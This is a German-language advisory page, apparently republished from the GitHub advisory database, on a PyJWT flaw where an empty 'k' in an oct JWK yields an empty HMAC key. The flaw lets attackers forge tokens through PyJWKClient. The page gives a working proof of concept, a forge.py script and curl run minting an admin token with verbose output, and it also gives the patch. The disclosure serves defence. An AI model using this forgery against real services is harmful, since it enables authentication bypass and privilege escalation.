Hoch

PyJWT: HS256/384/512-Verifizierung akzeptiert leeren HMAC-Schlüssel über oct JWK (PyJWK/PyJWKClient) und ermöglicht Token-Fälschung

  • Veröffentlicht: 22.10.2026
  • Aktualisiert: 24.10.2026 00:06

Zusammenfassung

HMACAlgorithm.from_jwk akzeptiert ein symmetrisches (kty=oct) JWK, dessen k-Wert eine leere Zeichenkette ist, und gibt ohne Ausnahme einen Schlüssel der Länge null zurück. Wenn ein Token anschließend mit diesem Schlüsselobjekt verifiziert wird (ein PyJWK oder ein durch PyJWKSet / PyJWKClient aufgelöstes PyJWK), berechnet der HMAC-Verifier HMAC(key=b"", signing_input) und akzeptiert jedes Token, das ein Angreifer mit demselben leeren Schlüssel gefälscht hat. Der Angreifer benötigt keine Kenntnis von Geheimnissen: Er reproduziert den Digest lokal mit einem leeren Schlüssel und setzt den kid des Tokens auf das JWK mit leerem k.

Die Zurückweisung leerer Schlüssel, die HMACAlgorithm.prepare_key für String-/Byte-Secrets durchführt (eingeführt in 2.13.0), wurde nie auf den parallelen from_jwk-Codepfad übertragen, sodass der JWK-/JWKS-Verifizierungspfad ausnutzbar bleibt. Unter den Standard-Dekodierungsoptionen gibt dieser Pfad lediglich eine InsecureKeyLengthWarning aus und keinen Fehler, sodass die Verifizierung dennoch erfolgreich ist. Dies ist derselbe Defekt ("empty/nil HMAC key is accepted by verify"), den das JWT-Ökosystem derzeit bibliotheksseitig schließt: fast-jwt CVE-2026-44351 (CVSS 9.1) und ruby-jwt CVE-2026-45363 haben beide eine bibliotheksseitige Vorbedingung zur Zurückweisung leerer HMAC-Schlüssel hinzugefügt.

Betroffene Versionen

PyJWT (PyPI-Paket pyjwt) <= 2.13.0, aktueller Stand master bei Commit 7144e4534c34810f4525dc4578a32addd8212cff. Der Pfad für String-/Byte-Secrets ist in 2.13.0 bereits geschützt; der JWK-/JWKS-Pfad ist es nicht.

Erforderliche Berechtigungen

Nicht authentifiziert. Jeder Akteur, der einen JWT-verifizierenden Endpunkt einer Anwendung erreichen kann, die über PyJWK / PyJWKSet / PyJWKClient mit einem leeren k im oct-Schlüssel verifiziert, kann Token mit beliebigen Claims fälschen.

Vorbedingungen: Der Verifier löst den HMAC-Schlüssel aus einem JWK/JWKS auf, dessen oct-Eintrag ein leeres k enthält. Dies tritt auf, wenn das Signaturgeheimnis aus einer nicht gesetzten Umgebungsvariable, einem nicht gesetzten Konfigurationseintrag oder einem Key-Finder-Fallback stammt, der b"" Base64URL-kodiert in das veröffentlichte JWKS einträgt, oder wenn die Anwendung einem JWKS vertraut, das einen solchen Eintrag enthält. Der äquivalente Fall eines nicht gesetzten Secrets in der String-Secret-API (jwt.decode(token, key="")) wird in 2.13.0 bereits abgewiesen; die JWK-Route ist die verbleibende erreichbare Angriffsfläche für dieselbe Fehlkonfiguration.

Verwundbarer Code

jwt/algorithms.py, HMACAlgorithm.from_jwk (Zeile 380):

python
@staticmethod
def from_jwk(jwk: str | JWKDict) -> bytes:
    try:
        if isinstance(jwk, str):
            obj: JWKDict = json.loads(jwk)
        elif isinstance(jwk, dict):
            obj = jwk
        else:
            raise ValueError
    except ValueError:
        raise InvalidKeyError("Key is not valid JSON") from None

    if obj.get("kty") != "oct":
        raise InvalidKeyError("Not an HMAC key")

    return base64url_decode(obj["k"])   # <-- empty k -> b"", no rejection

Im Vergleich dazu die parallele Methode prepare_key, die den Schutz erhalten hat (Zeilen 325-329):

python
def prepare_key(self, key: str | bytes) -> bytes:
    key_bytes = force_bytes(key)

    if len(key_bytes) == 0:
        raise InvalidKeyError("HMAC key must not be empty.")

In jwt/api_jws.py verwendet _verify_signature (Zeilen 389-416) das PyJWK-Schlüsselmaterial direkt, wodurch prepare_key umgangen wird, und die Längenwarnung ist standardmäßig nicht fatal:

python
        if isinstance(key, PyJWK):
            if alg != key.algorithm_name:
                raise InvalidAlgorithmError(
                    f"Token algorithm {alg!r} does not match the key's "
                    f"algorithm {key.algorithm_name!r}"
                )
            alg_obj = key.Algorithm
            prepared_key = key.key            # from_jwk output (b""), prepare_key not run
        else:
            try:
                alg_obj = self.get_algorithm_by_name(alg)
            except NotImplementedError as e:
                raise InvalidAlgorithmError("Algorithm not supported") from e
            prepared_key = alg_obj.prepare_key(key)

        key_length_msg = alg_obj.check_key_length(prepared_key)
        if key_length_msg:
            if effective_options.get("enforce_minimum_key_length", False):
                raise InvalidKeyError(key_length_msg)
            else:
                warnings.warn(key_length_msg, InsecureKeyLengthWarning, stacklevel=4)  # default: warn only

        if not alg_obj.verify(signing_input, prepared_key, signature):  # verify with b"" succeeds
            raise InvalidSignatureError("Signature verification failed")

PyJWK.__init__ setzt self.key = self.Algorithm.from_jwk(self._jwk_data), sodass ein {"kty":"oct","k":""}-JWK zu PyJWK.key == b"" führt. PyJWKSet und PyJWKClient.get_signing_key_from_jwt erstellen PyJWK-Objekte auf dieselbe Weise, wodurch die JWKS-über-HTTP-Auflösungsroute gleichermaßen betroffen ist.

Die Versionshinweise zu 2.13.0 (CHANGELOG.rst) dokumentieren die Härtung von prepare_key JWK/PEM (GHSA-xgmm-8j9v-c9wx) und die Korrektur der Algorithmusbindung PyJWK (GHSA-jq35-7prp-9v3f), und die Testsuite umfasst test_hmac_prepare_key_rejects_empty_key sowie test_hmac_from_jwk_should_raise_exception_if_empty_json (wobei ein leeres JSON-Objekt {} getestet wird, kein oct-Schlüssel mit leerem k). Der Fall eines oct-Schlüssels mit leerem k ist der ungetestete Pfad, der durch diese Meldung geschlossen wird.

Wie die Eingabe des Angreifers die Senke erreicht

Ein nicht authentifizierter HTTP-Client kontrolliert das Bearer-Token vollständig: Sein kid wählt das oct-JWK mit leerem k aus, und seine Signatur wird lokal mit dem leeren Schlüssel berechnet. Das Token wandert von Request-Header -> PyJWKClient.get_signing_key_from_jwt (kid-Auflösung gegen das vertrauenswürdige JWKS) -> jwt.decode mit dem aufgelösten PyJWK -> _verify_signature -> HMACAlgorithm.verify(signing_input, b"", sig). Es sind kein Geheimnis, keine Anmeldedaten und keine vorherige Sitzung erforderlich; die einzige serverseitige Vorbedingung ist ein JWKS-oct-Eintrag mit einem leeren k, wie er durch eine Konfiguration mit "nicht gesetztem Signaturgeheimnis" erzeugt wird. Dies ist dieselbe Vertrauensgrenze, die der Pfad für String-Secrets bereits schützt.

Proof of Concept

End-to-End-Reproduktion mit gepinntem PyPI pyjwt 2.13.0 (zwei bereitgestellte Flask-Dienste)

Zwei Dienste modellieren ein standardmäßiges OIDC-Setup: ein Auth-Dienst, der ein JWKS veröffentlicht, und ein geschützter Resource-Server, der Bearer-Tokens gegen dieses JWKS mit dem dokumentierten PyJWKClient-Muster von PyJWT validiert. Das Signaturgeheimnis des Auth-Dienstes stammt aus einer nicht gesetzten Umgebungsvariable (SIGNING_SECRET nicht gesetzt -> ""), sodass das veröffentlichte oct-JWK k == "" enthält.

idp.py (Auth-Dienst):

python
import os, base64
from flask import Flask, jsonify
app = Flask(__name__)
SIGNING_SECRET = os.environ.get("SIGNING_SECRET", "")   # UNSET at runtime -> ""
def b64u(b): return base64.urlsafe_b64encode(b).rstrip(b"=").decode()

@app.route("/.well-known/jwks.json")
def jwks():
    return jsonify({"keys": [{
        "kty": "oct", "use": "sig", "alg": "HS256",
        "kid": "auth-signing-2026",
        "k": b64u(SIGNING_SECRET.encode()),   # empty secret -> k == ""
    }]})

if __name__ == "__main__":
    app.run(port=9101)

api.py (geschützter Resource-Server):

python
from flask import Flask, request, jsonify
import jwt
from jwt import PyJWKClient
app = Flask(__name__)
jwks_client = PyJWKClient("http://127.0.0.1:9101/.well-known/jwks.json")

def authenticate():
    auth = request.headers.get("Authorization", "")
    if not auth.startswith("Bearer "):
        return None, "missing bearer token"
    token = auth.split(" ", 1)[1]
    try:
        signing_key = jwks_client.get_signing_key_from_jwt(token)  # resolves by kid
        claims = jwt.decode(token, signing_key, algorithms=["HS256", "RS256"])
    except Exception as e:
        return None, "invalid token: %s" % type(e).__name__
    return claims, None

@app.route("/api/admin/users")
def admin_users():
    claims, err = authenticate()
    if err:
        return jsonify({"error": err}), 401
    if claims.get("role") != "admin":
        return jsonify({"error": "forbidden"}), 403
    return jsonify({"ok": True, "action": "list_all_users",
                    "as_user": claims.get("sub"), "role": claims.get("role")})

if __name__ == "__main__":
    app.run(port=9102)

forge.py (Angreifer; keine Vorkenntnisse):

python
import hmac, hashlib, base64, json, sys
def b64u(b): return base64.urlsafe_b64encode(b).rstrip(b"=").decode()
header={"alg":"HS256","typ":"JWT","kid":"auth-signing-2026"}
payload={"sub":"attacker@evil.example","role":"admin"}
si=b64u(json.dumps(header,separators=(',',':')).encode())+"."+b64u(json.dumps(payload,separators=(',',':')).encode())
key = sys.argv[1].encode() if len(sys.argv)>1 else b""   # empty key
sig=hmac.new(key, si.encode(), hashlib.sha256).digest()
print(si+"."+b64u(sig))

Ausführung:

bash
python -m venv v && ./v/bin/pip install "PyJWT==2.13.0" flask
( SIGNING_SECRET= ./v/bin/python idp.py & ) ; ./v/bin/python api.py &
FORGED=$(./v/bin/python forge.py "")
curl -s -H "Authorization: Bearer $FORGED" http://127.0.0.1:9102/api/admin/users

Wortgetreue Ausführung (Angriff, beide Negativkontrollen, Sanity-Check und Wiederholung auf gepatchtem Build):

### PyJWT version
2.13.0

### JWKS published by the auth service (note the empty "k"):
{"keys":[{"alg":"HS256","k":"","kid":"auth-signing-2026","kty":"oct","use":"sig"}]}

### Baseline: unauthenticated request to admin endpoint
HTTP 401

### ATTACK: attacker forges HS256 admin token signed with the EMPTY key
forged token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6ImF1dGgtc2lnbmluZy0yMDI2In0.eyJzdWIiOiJhdHRhY2tlckBldmlsLmV4YW1wbGUiLCJyb2xlIjoiYWRtaW4ifQ.iwgDP9D-oD0zXWMEUhx710f_NjHWKkrLVgjPAOtEUSQ
response:
{"action":"list_all_users","as_user":"attacker@evil.example","ok":true,"role":"admin"}
  <-- HTTP 200

### NEGATIVE CONTROL 1: forge with a WRONG non-empty key (IdP still empty) -> reject
{"error":"invalid token: InvalidSignatureError"}
  <-- HTTP 401

### NEGATIVE CONTROL 2: IdP restarted with a REAL non-empty secret; empty-key forgery must now fail
JWKS now has non-empty k:
{"keys":[{"alg":"HS256","k":"YS1yZWFsLTMyLWJ5dGUtc3Ryb25nLXNlY3JldC12YWx1ZS0xMjM0","kid":"auth-signing-2026","kty":"oct","use":"sig"}]}
{"error":"invalid token: InvalidSignatureError"}
  <-- HTTP 401

### Sanity: a legitimately-signed token with the real secret is accepted
{"action":"list_all_users","as_user":"attacker@evil.example","ok":true,"role":"admin"}
  <-- HTTP 200

### PATCHED BUILD (from_jwk rejects empty k): re-run the empty-key forgery -> now rejected
JWKS (empty k, vulnerable config):
{"keys":[{"alg":"HS256","k":"","kid":"auth-signing-2026","kty":"oct","use":"sig"}]}
{"error":"invalid token: PyJWKSetError"}
  <-- HTTP 401

Der Angriff liefert HTTP 200 mit role:admin bei einem unauthentifiziert gefälschten Token. Beide Negativkontrollen (falscher nicht-leerer Schlüssel; echtes nicht-leeres Geheimnis beim Auth-Dienst) liefern 401, was das Problem eindeutig auf die Akzeptanz des leeren Schlüssels zurückführt. Der gepatchte Build (der unten stehende from_jwk-Fix) weist die Fälschung ab.

Auswirkungen

  • Nicht authentifizierte Authentifizierungsumgehung / Token-Fälschung: Ein Angreifer generiert Token mit beliebigen Claims (role:admin, beliebige sub), die erfolgreich verifiziert werden, was eine vollständige Identitätsübernahme und Privilegienerweiterung an jedem durch solche Token geschützten Endpunkt ermöglicht.
  • Erreichbar über die dokumentierte JWKS-Verifizierungs-API (PyJWKClient / PyJWKSet / PyJWK), nicht nur über die direkte Nutzung von HMACAlgorithm.
  • Ausgelöst durch die häufige Fehlkonfiguration eines "nicht gesetzten Signaturgeheimnisses", die der Pfad für String-Secrets in 2.13.0 bereits abweist, wodurch der JWK-Pfad eine asymmetrische Lücke darstellt.

Vorgeschlagene Behebung

Weisen Sie Schlüssel der Länge null in HMACAlgorithm.from_jwk ab, analog zur Prüfung in prepare_key:

python
if obj.get("kty") != "oct":
    raise InvalidKeyError("Not an HMAC key")

key_bytes = base64url_decode(obj["k"])
if len(key_bytes) == 0:
    raise InvalidKeyError("HMAC key must not be empty.")
return key_bytes

Dies nutzt dieselbe Fehlermeldung und Längenprüfung wie der Pfad für Strings/Bytes, sodass beide HMAC-Schlüsselladepfade dieselbe Invariante durchsetzen. Ein Regressionstest für das oct-JWK mit leerem k gehört neben test_hmac_from_jwk_should_raise_exception_if_empty_json.

Fix-PR

https://github.com/jpadilla/pyjwt-ghsa-pxh4-856f-4h89/pull/1 (privater Advisory-Temp-Fork, Basis master, Branch fix/hmac-from-jwk-reject-empty-key, DCO-signiert; fügt test_hmac_from_jwk_rejects_empty_k hinzu; test_algorithms.py, test_api_jwk.py, test_api_jws.py erfolgreich).

Danksagung

Gemeldet von tonghuaroot.

Maintainer-Update (2026-09-10): Wir haben das gemeldete Verhalten reproduziert: Ein oct-JWK mit einem leeren k-Wert wurde zu einem leeren HMAC-Schlüssel dekodiert und über den JWK/PyJWK-Verifizierungspfad akzeptiert, während der rohe String-/Byte-Pfad einen leeren Schlüssel korrekt abwies. Der Fix fügt dieselbe Validierung für leere Schlüssel an der JWK-Grenze hinzu und enthält einen Regressionstest. Er ist als af8181ca0bec5e6b372fbba9afbe23702b787ceb eingecheckt und hat die verfügbaren tox-Umgebungen des Projekts bestanden, einschließlich Krypto- und Nicht-Krypto-Tests auf Python 3.9, 3.12 und 3.13, sowie mypy-, Paketmetadaten- und Coverage-Prüfungen. Ein erneutes Astra/max-Review hat den Fix abgenommen und bestätigt, dass das Verhalten für nicht-leere, binäre und asymmetrische Schlüssel unverändert bleibt. Da der Fix noch nicht in einer veröffentlichten PyJWT-Version ausgeliefert wurde, wird dieser Sicherheitshinweis als Entwurf geführt und bleibt bis zur Veröffentlichung unveröffentlicht.

Maintainer-Update — 2026-09-11

Der verifizierte Fix für diesen Sicherheitshinweis ist in PyJWT 2.14.0 enthalten, das am 2026-09-11 veröffentlicht wurde und auf PyPI verfügbar ist. PyJWT 2.14.0 ist die erste Version, die den Fix enthält. Dieser Sicherheitshinweis ist nun veröffentlicht, wobei 2.14.0 als gepatchte Version festgehalten ist.

Was zu tun ist

Aktualisieren Sie auf PyJWT 2.14.0 (2.14.0) oder neuer.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Python (PyPI) pyjwt < 2.14.0 2.14.0

Verweise

CVSS-Wert 7.4/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Schwäche (CWE)
CWE-347
Plattform
Python (PyPI)
Paket
pyjwt
Veröffentlicht
22.10.2026
Aktualisiert
24.10.2026 00:06

Quellen und Lizenzen · Von DockRay bearbeitet oder übersetzt; Rechte und Lizenzen der Quellen bleiben erhalten.

OSV / GitHub Advisory Database - GHSA-pxh4-856f-4h89 - CC BY 4.0

Schwachstellenhistorie: pyjwt

Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (25) im Archiv
Einträge insgesamt
25
Erste → letzte
08.2017 10.2026
Ohne Fix
2
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Kritisch 1
  • Hoch 11
  • Mittel 11
  • Niedrig 2

Veröffentlichungen pro Jahr

  1. 2017: 1
  2. 2018: 0
  3. 2019: 0
  4. 2020: 0
  5. 2021: 0
  6. 2022: 1
  7. 2023: 0
  8. 2024: 1
  9. 2025: 1
  10. 2026: 21
Schweregrad:
  1. PyJWT: HS256/384/512-Verifizierung akzeptiert leeren HMAC-Schlüssel über oct JWK (PyJWK/PyJWKClient) und ermöglicht Token-Fälschung dieser Eintrag
    Hoch · 7.4 ghsa-pxh4-856f-4h89 < 2.14.0 2.14.0
  2. Hoch · 7.4 CVE-2026-102266 >= 2.13.0, < 2.14.0 2.14.0
  3. Hoch · 7.4 CVE-2026-102273 >= 2.13.0, < 2.14.0 2.14.0
  4. Hoch · 7.4 CVE-2026-102267 < 2.14.0 2.14.0
  5. Hoch · 7.4 CVE-2026-102272 >= 2.13.0, < 2.14.0 2.14.0
  6. Hoch · 7.5 CVE-2026-32597 < 2.12.0 2.12.0
  7. Hoch · 7.4 CVE-2022-29217 >= 1.5.0, < 2.4.0 2.4.0
  8. Hoch · 7.5 CVE-2017-11424 < 1.5.1 1.5.1

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.